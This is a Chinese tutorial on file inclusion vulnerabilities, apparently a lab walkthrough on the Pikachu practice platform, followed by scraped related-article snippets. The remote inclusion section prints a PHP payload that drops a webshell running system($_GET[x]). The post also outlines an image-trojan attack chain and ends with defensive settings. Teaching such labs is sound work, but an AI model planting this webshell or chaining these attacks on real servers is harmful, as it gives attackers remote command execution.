一、文件包含漏洞概述

    在web后台开发中,程序员往往为了提高效率以及让代码看起来简洁,会使用"包含"函数功能。例如把一些功能函数都写进fuction.php中,之后当某个文件需要调用的时候就直接在文件头中写上一句<?php include fuction.php?>就可以调用函数代码。

    但是有些时候,因为网站功能的需求,会让前端用户选择需要包含的文件(或者在前端的功能中使用了"包含"功能),又由于开发人员没有对要包含的这个文件进行安全考虑,就导致攻击者可以通过修改包含文件的位置让后台执行任意文件(代码)。

    这种情况我们就成为"文件包含"漏洞,文件包含漏洞有"本地文件包含漏洞"和"远程文件包含漏洞"两种情况。

二、本地文件包含漏洞测试

1、我们来到pikachu平台的File Inclusion(local)模块。我们在选择菜单里,随便选择一个,点击"提交查询"。

2、那我们尝试修改传入后台的文件。

3、下面我们来看一下源码

三、远程文件包含漏洞测试

远程文件包含漏洞形式跟本地文件包含漏洞差不多,在远程包含漏洞中,攻击者可以通过访问外部地址来加载远程的代码~

注意:

远程包含漏洞的前提:如果使用的是include和require,我们则需要对php.ini进行如下配置:

allow_url_fopen = on //默认打开

Allow_url_include=on //默认关闭。

1、首先检查我们的php.ini配置文件是否需要改动,如果进行了改动,记得重启PHPstudy服务。

2、来到对应的测试模块页面

2、我们在站点的根目录下新建一个pikachu文件夹,在文件夹里新建一个yijuhua.txt

文本文档的内容如下:

<?php

    $myfile = fopen("yijuhua.php","w");

    $txt = '<?php system($_GET[x]);?>';

    fwrite($myfile,$txt);

    fclose($myfile);

?>

3、我们通过192.168.33.253站点访问我们新建的yijuhua.txt文件。并且将URL地址栏中的值复制。

4、执行下图中的操作。

5、然后我们点击提交。来到资源管理器查看

6、然后我们进行远程的调用。

四、文件包含漏洞之文件上传漏洞的利用

    如果你发现了一个包含本地文件包含漏洞的网站,或许我们只可以查看一些文件。

    那么我们呢可以进行更深层次的利用。

    刚好这个时候我们在这个网站上又发现了一个文件上传漏洞。我们可以将两者结合。

思路:

  1. 制作一个图片木马,通过文件上传漏洞上传
  2. 通过文件包含漏洞对该图片木马进行"包含"
  3. 获取执行结果

五、文件包含漏洞常见防范措施

1、在功能设计上尽量不要将文件包含函数对应的文件放给前端进行选择和操作。

2、过滤各种../../,http://,https://

3、配置php.ini配置文件:

allow_url_fopen = off

allow_url_include=off

magic_quotes_gpc=on

4、通过白名单策略,仅允许包含运行指定的文件,其他的都禁止。

pikachu-文件包含漏洞(Files Inclusion)的更多相关文章

  1. 文件包含漏洞File Inclusion

    文件包含漏洞 目录遍历漏洞在国内外有许多不同的叫法,也可以叫做信息泄露漏洞.非授权文件包含漏洞等. 文件包含分类 LFI:本地文件包含(Local File Inclusion) RFI:远程文件包含 ...

  2. php文件包含漏洞 file inclusion vulnerability

    0x00 何为文件包含漏洞 开发人员如果在写类似include "a.php"的代码时,如果将a.php写成了可变的值,那么就可以在上面做文章,举个理想的例子: <? inc ...

  3. Pikachu漏洞练习平台实验——文件包含(File Inclusion)(六)

    1.概述 1.1简介 在 Web 后台开发中,程序员往往为了提高效率以及让代码看起来更加简洁,会使用 “包含” 函数功能.比如把一系列功能函数都写进 function.php 中,之后当某个文件需要调 ...

  4. Pikachu-File Inclusion(文件包含漏洞)

    File Inclusion(文件包含漏洞)概述 文件包含,是一个功能.在各种开发语言中都提供了内置的文件包含函数,其可以使开发人员在一个代码文件中直接包含(引入)另外一个代码文件. 比如 在PHP中 ...

  5. PIKACHU之文件包含漏洞

    PIKUCHU靶场之文件包含 一.file inclusion(local) 实验源码: <?php /** * Created by runner.han * There is nothing ...

  6. 文件包含漏洞(pikachu)

    文件包含漏洞 在web后台开发中,程序员往往为了提高效率以及让代码看起来更加简洁,会使用'包含'函数功能,比如把一系列功能函数都写进function.php中,之后当某个文件需要调用的时候,就直接在文 ...

  7. 文件包含漏洞(file inclusion)

    文件包含漏洞原理:(php) 是指当服务器开启allow_url_include选项的时候,通过php某些特性函数.如include().include_once().require().requir ...

  8. pikachu 文件包含,上传,下载

    一.文件包含 1.File Inclusion(local) 我们先测试一下,选择kobe然后提交 发现url出现变化 可以猜测此功能为文件包含,包含的文件为 file1.php,所以我在此盘符的根目 ...

  9. PHP文件包含漏洞剖析

    一. 什么才是”远程文件包含漏洞”?回答是:服务器通过php的特性(函数)去包含任意文件时,由于要包含的这个文件来源过滤不严,从而可以去包含一个恶意文件,而我们可以构造这个恶意文件来达到邪恶的目的. ...

  10. php文件包含漏洞(利用phpinfo)复现

     利用docker复现该漏洞,访问http://192.168.80.156:8080/phpinfo.php,可以看到页面出现phpinfo页面 再访问http://192.168.80.156:8 ...

随机推荐

  1. python 获取一个网页里的a 标签

    #!/usr/bin/python # -*- coding: utf-8 -*- #encoding=utf-8 #Filename:urllib2-header.py import re impo ...

  2. 基于bootstrap和knockoutjs使用 mvc 查询

    这是我摘抄的码 http://pan.baidu.com/s/1nvKWdsd

  3. 英语学习app——Alpha发布1

    英语学习app--Alpha发布1 这个作业属这个作业属于哪个课程 https://edu.cnblogs.com/campus/xnsy/GeographicInformationScience/ ...

  4. C语言 获取系统时间与睡眠时间函数

    摘要: 以ms为单位,获取系统时间.睡眠或延迟时间函数的使用方法. #include<stdio.h> #include <time.h> #include <sys/t ...

  5. Linux 高压缩率工具 XZ 压缩详解

    目录 一.XZ 基础信息 二.安装 三.详解 3.1.常用的参数 3.2. 常用命令 四.扩展 4.1.unxz 4.2.xzcat 4.3.lzma 4.4.unlzma 4.5.lzcat 一.X ...

  6. linux-->yii2报yii\db\Exception错

    linux 中yii2 yii\db\Exception报错 报错显示:Database Exception – yii\db\Exception SQLSTATE[HY000] [2002] No ...

  7. linux--->lnmp环境调试环境配置

    lnmp环境调试环境配置 nginx是一个web服务器,因此nginx的access日志只有对访问页面的记录,不会有php 的 error log信息. nginx把对php的请求发给php-fpm ...

  8. Docker的save和export命令的区别

    我最近在玩Docker,一种应用程序容器和Linux的虚拟技术.它太酷了,创建Docker镜像和容器只需要几分钟.所有的工作都是开箱即用的. 在结束我一天的工作之前,我希望能保存下我的工作.但我在Do ...

  9. LinearLayout中组件右对齐

    在LinearLayout中,如果将其定位方向设为横向排列:android:orientation="horizontal",那么这个布局中的控件将自左向右排列. 但有时会有这样的 ...

  10. js小练习---实现红绿灯

    <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8&quo ...